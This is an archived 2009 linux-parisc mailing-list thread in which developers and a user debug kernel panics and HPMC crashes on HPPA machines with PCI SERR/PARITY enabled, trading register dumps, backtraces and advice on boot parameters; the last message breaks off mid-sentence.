	id 1MZSDO-0007cs-5D
	for glpp-linux-parisc@gmane.org; Fri, 07 Aug 2009 18:22:46 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753986AbZHGQWo (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 7 Aug 2009 12:22:44 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754018AbZHGQWn
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 7 Aug 2009 12:22:43 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:53420 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753986AbZHGQWn (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 7 Aug 2009 12:22:43 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id 8F65E33E006B;
	Fri,  7 Aug 2009 10:22:43 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id TqUZWX9hArBt; Fri,  7 Aug 2009 10:22:43 -0600 (MDT)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id 029A533E019A; Fri,  7 Aug 2009 10:22:42 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20090806141542.bf48febf.berndg@fsim-ev.de>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2017
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2017>

On Thu, Aug 06, 2009 at 02:15:42PM +0200, Bernd Gietzelt wrote:
> On Wed, 5 Aug 2009 22:42:34 +0300 (EEST)
> Meelis Roos <mroos@linux.ee> wrote:
> 
> > > It would be helpful to know if 2.6.30.x kernels (from unstable)
> > > show the same problem.
> > 
> > Will test.
> 
> I've done some test with actual and older kernels from debian because
> my system shows the same behavior.

Wow! Thank you!

> 
> 2.6.18-5-parisc64-smp 	Kernel panic at statfs
> 2.6.18-6-parisc64-smp 	Kernel panic at statfs
> 2.6.26-2-parisc64-smp 	SERR & PARITY
> 2.6.30-1-parisc64-smp 	Kernel panic
> at /build/buildd/linux-2.6-2.6.30/debian/build/source_hppa_none/kernel/smp.c:369

In my linux-2.6.30 source tree, kernel/smp.c:369 has this code:
361 void smp_call_function_many(const struct cpumask *mask,
362                             void (*func)(void *), void *info, bool wait)
363 {
364         struct call_function_data *data;
365         unsigned long flags;
366         int cpu, next_cpu, this_cpu = smp_processor_id();
367 
368         /* Can deadlock when called with interrupts disabled */
369         WARN_ON_ONCE(irqs_disabled() && !oops_in_progress);
370 
371         /* So, what's a CPU they want? Ignoring this one. */
372         cpu = cpumask_first_and(mask, cpu_online_mask);
373         if (cpu == this_cpu)
374                 cpu = cpumask_next_and(cpu, mask, cpu_online_mask);
375 
...

And I don't expect the WARN_ON_ONCE() is directly related to whatever
is panic'ing later since the expected symptom is a deadlock.


> 2.6.30-1-parisc64 	SERR & PARITY 
> 
> The complete logs can be found here:
> http://89.144.17.178/~bernd/lasatonline.de/dokuwiki/doku.php?id=programmieren:administration:computer:ulrike

Well done - thanks!

In general, adding "pdcchassis=0" will stop the GSP (aka MP) from
putting it's footprint on top of the regular console output:
...
[    7.232000] Freeing unused kernel memory: <0>------------[ cut here ]------------
[    7.388000] Badness at /build/buildd/linux-2.6-2.6.30/debian/build/source_hppa_none/kernel/smp.c:369
...
[    9.092000] Backtrace:

********** VIRTUAL FRONT PANEL **********
System Boot detected
*****************************************
LEDs:  RUN      ATTENTION     FAULT     REMOTE     POWER
       ON       FLASH         OFF       ON         ON
LED State: There was a system interruption that did not take the system down.
Check Chassis and Console Logs for error messages.

processor                 system panic               1B00
...


The pdcchassis support obscured some of the console output.  The obscured
console output is available by going into the GSP/MP and showing the
console log.  It's easier to disable this "feature" by adding
pdchassis=0 to the kernel parameters and cut/paste the regular output.


> Some idea what's behind this failure message?

"Badness at ..." is the WARN_ON_ONCE().  It's not the panic message.
IIRC, this particular message is known to only occur on the first fork
when /sbin/init (process 0) is started.

I hate to ask you to try 2.6.30-1-parisc64-smp again with "pdcchassis=0"
but can't think of any other way to collect the panic output
at this point.

> <snap>
> Begin: Running /scripts/init-bottom ... done.
> run-init: statfsKernel panic - not syncing: Attempted to kill init!
>  /: Function not 
> </snap>
> 
> 
> If some additional test/logs needed: I'm compliant to deliever them.

Thank you so much since I'm not seeing this on my own machines.

cheers,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPPA hang with PCI SERR or PARITY enabling
Date: Fri, 7 Aug 2009 10:36:28 -0600
Lines: 52
Approved: news@gmane.org
Message-ID: <20090807163628.GB18373@lackof.org>
References: <20090615134519.6EE824FC5@hiauly1.hia.nrc.ca> <Pine.SOC.4.64.0907302054100.20870@math.ut.ee> <4A724818.4080909@tausq.org> <Pine.SOC.4.64.0907310923520.710@math.ut.ee> <20090805174507.GB11458@lackof.org> <Pine.SOC.4.64.0908052241550.4076@math.ut.ee> <20090806141542.bf48febf.berndg@fsim-ev.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1249663000 10004 80.91.229.12 (7 Aug 2009 16:36:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 7 Aug 2009 16:36:40 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Bernd Gietzelt <berndg@fsim-ev.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Aug 07 18:36:33 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MZSQi-00067U-OX
	for glpp-linux-parisc@gmane.org; Fri, 07 Aug 2009 18:36:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753185AbZHGQg2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 7 Aug 2009 12:36:28 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754018AbZHGQg2
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 7 Aug 2009 12:36:28 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:34808 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753185AbZHGQg1 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 7 Aug 2009 12:36:27 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id 9509633E006B;
	Fri,  7 Aug 2009 10:36:28 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id PeyNH-IFeZ4J; Fri,  7 Aug 2009 10:36:28 -0600 (MDT)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id 2605133E019A; Fri,  7 Aug 2009 10:36:28 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20090806141542.bf48febf.berndg@fsim-ev.de>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2018
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2018>

On Thu, Aug 06, 2009 at 02:15:42PM +0200, Bernd Gietzelt wrote:
> I've done some test with actual and older kernels from debian because
> my system shows the same behavior.
...
> 2.6.30-1-parisc64 	SERR & PARITY 

Bernd,
BTW, this output has the same issue as the -smp where
the GSP is printing PDC chassis codes/info instead of
kernel output.

...
[   11.924000] sym53c8xx 0000:38:00.0: enabling device (0000 -> 0003)
[   11.940000] sym53c8xx 0000:38:00.0: enabling SERR and PARITY (0003 -> 0143)

************* SYSTEM ALERT **************
SYSTEM NAME: rfhinf238
DATE: 08/06/2009 TIME: 09:32:34
ALERT LEVEL: 7 = reserved
...
0x0000007000FF6292 000000F0 F0000000 - type  0 = Data Field Unused
0x5800087000FF6292 00006D07 06092022 - type 11 = Timestamp 08/06/2009 09:32:34
A: ack read of this entry - X: Disable all future alert messages
Anything else skip redisplay the log entry
->Choice:a
*****************************************

the 0x6292 indicates this is an HPMC and you've included the PIM dump
so we shouldn't need anything else at the moment. If you want
to retry with "pdcchassis=0", it would be nice to have the complete
output but I don't think it's required (yet).

I'm pointing this out since the symptom in your listing should
be "HPMC in foo()" where we look up the "IIA Offset"
(0x000000004029d6ac) in the System.map file.
(See "a.c" in http://cvs.parisc-linux.org/build-tools/ to help)

It's also good to look up GR02 (0x000000000c1d5448) at the
same time though GR02 not always as useful.

I forgot how to look up the symbol for modules since HPMC's
after /sbin/init has started often occur becuase of additional
kernel modules getting loaded or NIC interfaces are initialized
when ifconfig'd. Tulip is a suspect in this case.

thanks again,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bernd Gietzelt <berndg@fsim-ev.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPPA hang with PCI SERR or PARITY enabling
Date: Sat, 8 Aug 2009 11:31:00 +0200
Organization: FSIM e.V.
Lines: 61
Approved: news@gmane.org
Message-ID: <20090808113100.37e0f4ab.berndg@fsim-ev.de>
References: <20090615134519.6EE824FC5@hiauly1.hia.nrc.ca>
	<Pine.SOC.4.64.0907302054100.20870@math.ut.ee>
	<4A724818.4080909@tausq.org>
	<Pine.SOC.4.64.0907310923520.710@math.ut.ee>
	<20090805174507.GB11458@lackof.org>
	<Pine.SOC.4.64.0908052241550.4076@math.ut.ee>
	<20090806141542.bf48febf.berndg@fsim-ev.de>
	<20090807162242.GA18373@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1249724420 12286 80.91.229.12 (8 Aug 2009 09:40:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 8 Aug 2009 09:40:20 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: grundler@parisc-linux.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Aug 08 11:40:13 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MZiPL-0000ru-OC
	for glpp-linux-parisc@gmane.org; Sat, 08 Aug 2009 11:40:12 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S933816AbZHHJkJ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 8 Aug 2009 05:40:09 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S933690AbZHHJkJ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 8 Aug 2009 05:40:09 -0400
Original-Received: from 28-43-236-85.rev.customer-net.de ([85.236.43.28]:41539 "EHLO
	mail.fsim-ev.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S933816AbZHHJkI (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 8 Aug 2009 05:40:08 -0400
X-Greylist: delayed 570 seconds by postgrey-1.27 at vger.kernel.org; Sat, 08 Aug 2009 05:40:07 EDT
Original-Received: from media (dslb-084-056-087-223.pools.arcor-ip.net [84.56.87.223])
	by mail.fsim-ev.de (Postfix) with ESMTPSA id D9B512620C8;
	Sat,  8 Aug 2009 11:30:36 +0200 (CEST)
In-Reply-To: <20090807162242.GA18373@lackof.org>
X-Mailer: Sylpheed 2.6.0 (GTK+ 2.16.1; i486-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2019
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2019>

On Fri, 7 Aug 2009 10:22:42 -0600
Grant Grundler <grundler@parisc-linux.org> wrote:

> > 2.6.30-1-parisc64 	SERR & PARITY 
> > The complete logs can be found here:
> Well done - thanks!

I try to help.
  
> I hate to ask you to try 2.6.30-1-parisc64-smp again with
> "pdcchassis=0" but can't think of any other way to collect the panic
> output at this point.

I've update the entry on: http://89.144.17.178/~bernd/lasatonline.de/dokuwiki/doku.php?id=programmieren:administration:computer:ulrike#kernel_2.6.30-1-parisc64-smp

[    7.988000] Freeing unused kernel memory: <0>------------[ cut here ]------------
[    8.096000] Badness at /build/buildd/linux-2.6-2.6.30/debian/build/source_hppa_none/kernel/smp.c:369
[    8.104000] 
[    8.104000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
[    8.108000] PSW: 00001000000001100000000000001110 Not tainted
[    8.116000] r00-03  000000000806000e 0000000040686fa0 0000000040182c6c 000000004058d020
[    8.120000] r04-07  0000000040668fa0 000000004065e7c0 00000000404f7db0 000000r08-11  0000000040686fa0 000000004065e7c0 0000000000000000 00000000406797a0
[    8.644000] r12-15  0000000000000001 0000000000000001 0000000000000000 0000000000000001
[    8.776000] r16-19  00000000f00003b0 0000000040686fa0 000000012f87cb40 00000000406d6000
[    8.784000] r20-23  0000000000000000 00000000406d6000 ffffffffffffffff 0000000000000001
[    8.788000] r24-27  0000000000000000 000000004065e7c0 00000000404f7db0 0000000040668fa0
[    8.796000] r28-31  0000000000000000 000000012f880490 000000012f880580 0000000000000000
[    8sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
[    9.208000] sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000
[    9.340000] 
[    9.340000] IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000401829b4 00000000401829b8
[    9.348000]  IIR: 03ffe01f    ISR: 0000000010240000  IOR: 0000000179de7d0c
[    9.356000]  CPU:        0   CR30: 000000012f880000 CR31: 0000000000008020
[    9.360000]  ORIG_R28: 000000000800000e
[    9.364000]  mp_call_function_many+0x7c/0x2f8
[    9.768000]  IAOQ[1]: smp_call_function_many+0x80/0x2f8
[    9.796000]  RP(r2): smp_call_function+0x3c/0x50
[    9.800000] Backtrace:
[    9.804000] Backtrace:
[    9.804000]  [<0000000040115fe8>] printk+0x40/0x50
[    9.804000]  [<0000000040152760>] print_tainted+0xc0/0xe0
[    9.804000]  [<0000000040104084>] intr_check_sig+0x0/0x38
[    9.804000]  [<0000000040104074>] intr_return+0x0/0x4
[    9.804000]  [<0000000040182c6c>] smp_call_function+0x3c/0x50
[    9.804000]  [<0000000040159d08>] on_each_cpu+0x28/0x68
[    9.804000]  [<000000004011b92c>] free_initmem+0x94/0x340

Is there a guide "HowTo read kernel debug log"? What mean the numbers behind the function names?

[<memory adress>] function name + 0x*/0x*

greetings,
bernd

-- 
Bernd Gietzelt <berndg@fsim-ev.de>
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPPA hang with PCI SERR or PARITY enabling
Date: Sat, 8 Aug 2009 23:27:14 -0600
Lines: 66
Approved: news@gmane.org
Message-ID: <20090809052714.GA22362@lackof.org>
References: <20090615134519.6EE824FC5@hiauly1.hia.nrc.ca> <Pine.SOC.4.64.0907302054100.20870@math.ut.ee> <4A724818.4080909@tausq.org> <Pine.SOC.4.64.0907310923520.710@math.ut.ee> <20090805174507.GB11458@lackof.org> <Pine.SOC.4.64.0908052241550.4076@math.ut.ee> <20090806141542.bf48febf.berndg@fsim-ev.de> <20090807162242.GA18373@lackof.org> <20090808113100.37e0f4ab.berndg@fsim-ev.de>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1249795648 30938 80.91.229.12 (9 Aug 2009 05:27:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 9 Aug 2009 05:27:28 +0000 (UTC)
Cc: grundler@parisc-linux.org, linux-parisc@vger.kernel.org
To: Bernd Gietzelt <berndg@fsim-ev.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Aug 09 07:27:21 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Ma0wC-0000r1-8m
	for glpp-linux-parisc@gmane.org; Sun, 09 Aug 2009 07:27:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751193AbZHIF1P (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 9 Aug 2009 01:27:15 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751264AbZHIF1P
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 9 Aug 2009 01:27:15 -0400
Original-Received: from complete.lackof.org ([198.49.126.79]:50573 "EHLO
	complete.lackof.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751193AbZHIF1O (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 9 Aug 2009 01:27:14 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by complete.lackof.org (Postfix) with ESMTP id E68FD33E006B;
	Sat,  8 Aug 2009 23:27:14 -0600 (MDT)
X-Virus-Scanned: Debian amavisd-new at lackof.org
Original-Received: from complete.lackof.org ([127.0.0.1])
	by localhost (complete.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id xz7R0r2iMPAH; Sat,  8 Aug 2009 23:27:14 -0600 (MDT)
Original-Received: by complete.lackof.org (Postfix, from userid 27253)
	id 4E57933E019A; Sat,  8 Aug 2009 23:27:14 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20090808113100.37e0f4ab.berndg@fsim-ev.de>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2020
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2020>

On Sat, Aug 08, 2009 at 11:31:00AM +0200, Bernd Gietzelt wrote:
...
> > I hate to ask you to try 2.6.30-1-parisc64-smp again with
> > "pdcchassis=0" but can't think of any other way to collect the panic
> > output at this point.
> 
> I've update the entry on: http://89.144.17.178/~bernd/lasatonline.de/dokuwiki/doku.php?id=programmieren:administration:computer:ulrike#kernel_2.6.30-1-parisc64-smp

I'm not able to load this URL...doesn't fail; just times out eventually.
I'll try again tomorrow.

> 
> [    7.988000] Freeing unused kernel memory: <0>------------[ cut here ]------------
> [    8.096000] Badness at /build/buildd/linux-2.6-2.6.30/debian/build/source_hppa_none/kernel/smp.c:369
> [    8.104000] 
> [    8.104000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> [    8.108000] PSW: 00001000000001100000000000001110 Not tainted
> [    8.116000] r00-03  000000000806000e 0000000040686fa0 0000000040182c6c 000000004058d020
> [    8.120000] r04-07  0000000040668fa0 000000004065e7c0 00000000404f7db0 000000r08-11  0000000040686fa0 000000004065e7c0 0000000000000000 00000000406797a0
> [    8.644000] r12-15  0000000000000001 0000000000000001 0000000000000000 0000000000000001
> [    8.776000] r16-19  00000000f00003b0 0000000040686fa0 000000012f87cb40 00000000406d6000
> [    8.784000] r20-23  0000000000000000 00000000406d6000 ffffffffffffffff 0000000000000001
> [    8.788000] r24-27  0000000000000000 000000004065e7c0 00000000404f7db0 0000000040668fa0
> [    8.796000] r28-31  0000000000000000 000000012f880490 000000012f880580 0000000000000000
> [    8sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
> [    9.208000] sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000
> [    9.340000] 
> [    9.340000] IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000401829b4 00000000401829b8
> [    9.348000]  IIR: 03ffe01f    ISR: 0000000010240000  IOR: 0000000179de7d0c
> [    9.356000]  CPU:        0   CR30: 000000012f880000 CR31: 0000000000008020
> [    9.360000]  ORIG_R28: 000000000800000e
> [    9.364000]  mp_call_function_many+0x7c/0x2f8
> [    9.768000]  IAOQ[1]: smp_call_function_many+0x80/0x2f8
> [    9.796000]  RP(r2): smp_call_function+0x3c/0x50
> [    9.800000] Backtrace:
> [    9.804000] Backtrace:
> [    9.804000]  [<0000000040115fe8>] printk+0x40/0x50
> [    9.804000]  [<0000000040152760>] print_tainted+0xc0/0xe0
> [    9.804000]  [<0000000040104084>] intr_check_sig+0x0/0x38
> [    9.804000]  [<0000000040104074>] intr_return+0x0/0x4
> [    9.804000]  [<0000000040182c6c>] smp_call_function+0x3c/0x50
> [    9.804000]  [<0000000040159d08>] on_each_cpu+0x28/0x68
> [    9.804000]  [<000000004011b92c>] free_initmem+0x94/0x340
> 
> Is there a guide "HowTo read kernel debug log"?

Not really - the best guide is the PA2.0 Instruction Set Manual:
    http://ftp.parisc-linux.org/docs/arch/parisc2.0.pdf

This describes pretty nicely all the registers that are
printed in the dump.

> What mean the numbers behind the function names?
> 
> [<memory adress>] function name + 0x*/0x*

IIRC, it's the offset and function length...but I'm not sure
about the second value after the function name.

cheers,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:44 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPPA hang with PCI SERR or PARITY enabling
Date: Mon, 10 Aug 2009 09:22:26 +0800
Lines: 68
Approved: news@gmane.org
Message-ID: <4A7F7652.6050209@tausq.org>
References: <20090615134519.6EE824FC5@hiauly1.hia.nrc.ca> <Pine.SOC.4.64.0907302054100.20870@math.ut.ee> <4A724818.4080909@tausq.org> <Pine.SOC.4.64.0907310923520.710@math.ut.ee> <20090805174507.GB11458@lackof.org> <Pine.SOC.4.64.0908052241550.4076@math.ut.ee> <20090806141542.bf48febf.berndg@fsim-ev.de> <20090807162242.GA18373@lackof.org> <20090808113100.37e0f4ab.berndg@fsim-ev.de> <20090809052714.GA22362@lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1249867364 5828 80.91.229.12 (10 Aug 2009 01:22:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 10 Aug 2009 01:22:44 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	linux-parisc@vger.kernel.org
To: Bernd Gietzelt <berndg@fsim-ev.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Aug 10 03:22:36 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MaJau-0007zg-CA
	for glpp-linux-parisc@gmane.org; Mon, 10 Aug 2009 03:22:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754204AbZHJBWd (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 9 Aug 2009 21:22:33 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1754440AbZHJBWd
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sun, 9 Aug 2009 21:22:33 -0400
Original-Received: from mail-pz0-f196.google.com ([209.85.222.196]:49174 "EHLO
	mail-pz0-f196.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754204AbZHJBWc (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 9 Aug 2009 21:22:32 -0400
Original-Received: by pzk34 with SMTP id 34so2579773pzk.4
        for <linux-parisc@vger.kernel.org>; Sun, 09 Aug 2009 18:22:33 -0700 (PDT)
Original-Received: by 10.114.134.6 with SMTP id h6mr5196476wad.68.1249867349984;
        Sun, 09 Aug 2009 18:22:29 -0700 (PDT)
Original-Received: from ?192.168.100.52? ([118.142.45.178])
        by mx.google.com with ESMTPS id k14sm6299326waf.60.2009.08.09.18.22.27
        (version=TLSv1/SSLv3 cipher=RC4-MD5);
        Sun, 09 Aug 2009 18:22:28 -0700 (PDT)
User-Agent: Thunderbird 2.0.0.22 (Windows/20090605)
In-Reply-To: <20090809052714.GA22362@lackof.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2021
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2021>

> 
>> [    7.988000] Freeing unused kernel memory: <0>------------[ cut here ]------------
>> [    8.096000] Badness at /build/buildd/linux-2.6-2.6.30/debian/build/source_hppa_none/kernel/smp.c:369
>> [    8.104000] 
>> [    8.104000]      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
>> [    8.108000] PSW: 00001000000001100000000000001110 Not tainted
>> [    8.116000] r00-03  000000000806000e 0000000040686fa0 0000000040182c6c 000000004058d020
>> [    8.120000] r04-07  0000000040668fa0 000000004065e7c0 00000000404f7db0 000000r08-11  0000000040686fa0 000000004065e7c0 0000000000000000 00000000406797a0
>> [    8.644000] r12-15  0000000000000001 0000000000000001 0000000000000000 0000000000000001
>> [    8.776000] r16-19  00000000f00003b0 0000000040686fa0 000000012f87cb40 00000000406d6000
>> [    8.784000] r20-23  0000000000000000 00000000406d6000 ffffffffffffffff 0000000000000001
>> [    8.788000] r24-27  0000000000000000 000000004065e7c0 00000000404f7db0 0000000040668fa0
>> [    8.796000] r28-31  0000000000000000 000000012f880490 000000012f880580 0000000000000000
>> [    8sr00-03  0000000000000000 0000000000000000 0000000000000000 0000000000000000
>> [    9.208000] sr04-07  0000000000000000 0000000000000000 0000000000000000 0000000000000000
>> [    9.340000] 
>> [    9.340000] IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000401829b4 00000000401829b8
>> [    9.348000]  IIR: 03ffe01f    ISR: 0000000010240000  IOR: 0000000179de7d0c
>> [    9.356000]  CPU:        0   CR30: 000000012f880000 CR31: 0000000000008020
>> [    9.360000]  ORIG_R28: 000000000800000e
>> [    9.364000]  mp_call_function_many+0x7c/0x2f8
>> [    9.768000]  IAOQ[1]: smp_call_function_many+0x80/0x2f8
>> [    9.796000]  RP(r2): smp_call_function+0x3c/0x50
>> [    9.800000] Backtrace:
>> [    9.804000] Backtrace:
>> [    9.804000]  [<0000000040115fe8>] printk+0x40/0x50
>> [    9.804000]  [<0000000040152760>] print_tainted+0xc0/0xe0
>> [    9.804000]  [<0000000040104084>] intr_check_sig+0x0/0x38
>> [    9.804000]  [<0000000040104074>] intr_return+0x0/0x4
>> [    9.804000]  [<0000000040182c6c>] smp_call_function+0x3c/0x50
>> [    9.804000]  [<0000000040159d08>] on_each_cpu+0x28/0x68
>> [    9.804000]  [<000000004011b92c>] free_initmem+0x94/0x340
>>
>> Is there a guide "HowTo read kernel debug log"?
> 
> Not really - the best guide is the PA2.0 Instruction Set Manual:
>     http://ftp.parisc-linux.org/docs/arch/parisc2.0.pdf


> This describes pretty nicely all the registers that are
> printed in the dump.
> 
>> What mean the numbers behind the function names?
>>
>> [<memory adress>] function name + 0x*/0x*
> 
> IIRC, it's the offset and function length...but I'm not sure
> about the second value after the function name.

Yes, you are right. Although in this case the backtrace looks a bit 
inconsistent.

According to the register dump, the kernel triggered a warning ("Badness 
at. ..") which is on the line smp.c:369. The instruction that caused the 
